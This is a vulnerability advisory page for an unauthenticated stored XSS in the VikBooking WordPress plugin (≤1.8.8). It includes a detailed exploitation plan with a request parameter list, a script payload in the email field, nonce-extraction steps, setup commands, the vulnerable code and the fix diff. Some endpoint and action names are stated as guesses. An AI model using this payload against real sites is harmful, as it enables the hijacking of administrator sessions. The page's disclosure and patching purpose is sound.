VikBooking Hotel Booking Engine & PMS <= 1.8.8 - Unauthenticated Stored Cross-Site Scripting via Booking Form Email Field
Description
The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in all versions up to, and including, 1.8.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.8.9
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-6820 (VikBooking Stored XSS) ## 1. Vulnerability Summary The **VikBooking Hotel Booking Engine & PMS** plugin (versions <= 1.8.8) contains a stored Cross-Site Scripting (XSS) vulnerability. The vulnerability occurs because the plugin fails to sanitize the `ema…
Show full research plan
Exploitation Research Plan: CVE-2026-6820 (VikBooking Stored XSS)
1. Vulnerability Summary
The VikBooking Hotel Booking Engine & PMS plugin (versions <= 1.8.8) contains a stored Cross-Site Scripting (XSS) vulnerability. The vulnerability occurs because the plugin fails to sanitize the email parameter during the submission of booking or quotation forms and subsequently fails to escape this data when displaying it in the WordPress administrative dashboard (e.g., within the "Quotations" or "Booking Details" views).
2. Attack Vector Analysis
- Endpoint: The vulnerability is reachable via front-end booking or quotation submission. Typically, this is a POST request to the main WordPress front-end or an AJAX action. Based on
admin/controllers/quote.php, the logic is likely mirrored in a front-end controller. - Action:
vikbooking_save_quote(inferred action for quotation) or a direct POST to a page containing the[vikbooking_item_details]or[vikbooking_checkout]shortcode. - Vulnerable Parameter:
quote[customer][email](or simplyemaildepending on the specific form context). - Authentication: Unauthenticated.
- Preconditions: The plugin must have at least one active "Room" and "Rate Plan" to allow a user to reach the checkout/quotation stage.
3. Code Flow
- Entry Point: A user submits a quotation or booking form. The request reaches a controller (e.g.,
VikBookingControllerQuote::saveinadmin/controllers/quote.php). - Data Acquisition: The controller retrieves the input:
$quote = $app->input->get('quote', [], 'array'); $customerInfo = [ 'first_name' => $quote['customer']['first_name'], 'email' => $quote['customer']['email'] ?? null, // Raw input // ... ]; - Storage: The data is passed to
VBOMvcModel::getInstance('customer')->save($customerInfo)orVBOModelQuote::save(). - Processing: In
admin/helpers/src/model/quote.php, thepreflight()method is called before saving. It performs various conversions (UUID, IP, country codes) but does not callsanitize_email()orsanitize_text_field()on the email field. - Persistence: The payload is stored in the
#__vikbooking_quotationsor#__vikbooking_customersdatabase table. - Sink: An administrator views the booking/quotation in the dashboard. The
admin/helpers/widgets/booking_details.phploads the data. The view template (e.g.,admin/views/quotation/tmpl/default.php) renders the email field usingechowithoutesc_html()oresc_attr().
4. Nonce Acquisition Strategy
VikBooking often uses a Joomla-style token or a WordPress nonce for form submissions. To obtain a valid nonce for unauthenticated exploitation:
- Identify Shortcode: The booking form is typically rendered via the
[vikbooking_checkout]or[vikbooking_item_details]shortcode. - Setup Test Page:
wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[vikbooking_checkout]' - Extraction: Navigate to the newly created page. VikBooking localizes its scripts using
wp_localize_script. - JS Variable: Based on common VikBooking patterns, look for the
vbo_ajaxorvikbooking_dataobject.- Use
browser_eval("window.vbo_vars?.nonce")or check the HTML for a hidden input named_wpnonceortoken. - Note: If
JSession::checkToken()is used (as seen inadmin/controllers/quote.php), the "nonce" may be a 32-character MD5 hash used as a key in the request.
- Use
5. Exploitation Strategy
Step 1: Submit Malicious Quotation
Submit a quotation with a script payload in the email field.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php(if using AJAX) or the URL of the Booking page. - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:vbo_save_quote(or the specific action found in the form)quote[customer][first_name]:Attackerquote[customer][last_name]:Userquote[customer][email]:"><script>alert(document.domain)</script>@example.comquote[customer][country]:USquote[solutions][0][checkin]:2026-10-10quote[solutions][0][checkout]:2026-10-12quote[solutions][0][rooms][0][id]:1(Must be a valid room ID)quote[solutions][0][rooms][0][id_price]:1(Must be a valid rate ID)quote[solutions][0][rooms][0][adults]:1_wpnonce:[EXTRACTED_NONCE]
Step 2: Trigger the Payload
- Log in to the WordPress admin panel.
- Navigate to VikBooking -> Quotations or VikBooking -> Bookings.
- The script will execute when the list is rendered or when clicking "Edit" to view the quotation details.
6. Test Data Setup
- Create a Room:
wp db query "INSERT INTO wp_vikbooking_rooms (name, units, avail) VALUES ('Deluxe Room', 5, 1);" - Create a Rate Plan:
wp db query "INSERT INTO wp_vikbooking_prices (idroom, name, price) VALUES (1, 'Standard Rate', 100.00);" - Create a Front-end Page:
wp post create --post_type=page --post_status=publish --post_content='[vikbooking_checkout]' --post_title='Checkout'
7. Expected Results
- Submission Response: The server should return a
200 OKor a JSON success message (e.g.,{"success":true}). - Admin Trigger: Upon navigating to the VikBooking Quotations page, an alert box showing the document domain should appear.
8. Verification Steps
Confirm the payload is stored in the database:
wp db query "SELECT email FROM wp_vikbooking_quotations WHERE first_name='Attacker';"
# Expected output should contain: "><script>alert(document.domain)</script>@example.com
9. Alternative Approaches
If vbo_save_quote is restricted or requires higher privileges, target the Front-end Reservation Form:
- Action:
vikbooking_save_reservation - Parameter:
vbo_emailorcust_email. - Logic: Many plugins use shared helpers (like
cpinin the source) to handle customer data. Injecting into any form that creates a "Customer" record in the database will likely trigger the XSS in the "Customers" or "Booking Details" administrative views.
Summary
The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting via the 'email' parameter. This occurs due to a lack of input sanitization when processing booking/quotation forms and a failure to escape the stored data when rendering it in the administrative dashboard.
Vulnerable Code
// admin/controllers/quote.php // build customer information $customerInfo = [ 'first_name' => $quote['customer']['first_name'], 'last_name' => ($quote['customer']['last_name'] ?? '') ?: '(Quote)', 'email' => $quote['customer']['email'] ?? null, 'phone' => $quote['customer']['phone'] ?? null, 'country' => $quote['customer']['country'] ?? null, ]; --- // admin/controller.php (around line 11173) foreach ($customers as $k => $v) { $cstring_search .= '<div class="' . $selector . '" data-custid="'.$v['id'].'" data-email="'.$v['email'].'" data-phone="'.htmlspecialchars($v['phone']).'" data-country="'.$v['country'].'" data-pin="'.$v['pin'].'" data-firstname="'.htmlspecialchars($v['first_name']).'" data-lastname="'.htmlspecialchars($v['last_name']).'">'."\n";
Security Fix
@@ -11170,7 +11205,7 @@ $cust_old_fields = array(); $cstring_search = '<div class="vbo-custsearchres-inner">' . "\n"; foreach ($customers as $k => $v) { - $cstring_search .= '<div class="' . $selector . '" data-custid="'.$v['id'].'" data-email="'.$v['email'].'" data-phone="'.htmlspecialchars($v['phone']).'" data-country="'.$v['country'].'" data-pin="'.$v['pin'].'" data-firstname="'.htmlspecialchars($v['first_name']).'" data-lastname="'.htmlspecialchars($v['last_name']).'">'."\n"; + $cstring_search .= '<div class="' . $selector . '" data-custid="' . (int) $v['id'] . '" data-email="' . htmlspecialchars($v['email']) . '" data-phone="' . htmlspecialchars($v['phone']) . '" data-country="' . htmlspecialchars($v['country']) . '" data-pin="' . htmlspecialchars($v['pin']) . '" data-firstname="' . htmlspecialchars($v['first_name']) . '" data-lastname="' . htmlspecialchars($v['last_name']) . '">'."\n"; $cstring_search .= '<span class="vbo-custsearchres-cflag">';
Exploit Outline
1. Identify a page containing the VikBooking booking or quotation form (e.g., via the `[vikbooking_checkout]` shortcode). 2. Obtain a valid security token/nonce if required, usually found in localized JS variables like `vbo_vars` or as a hidden input field. 3. Send an unauthenticated POST request to the form submission endpoint (typically `admin-ajax.php` with action `vbo_save_quote` or a direct POST to the booking page). 4. Inject a JavaScript payload into the `quote[customer][email]` parameter, such as: `"><script>alert(document.domain)</script>@example.com`. 5. Wait for an administrator to log in and navigate to the 'Quotations' or 'Bookings' list in the VikBooking dashboard. 6. The script will execute in the administrator's session when the application renders the customer search results or booking details container containing the unsanitized email attribute.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.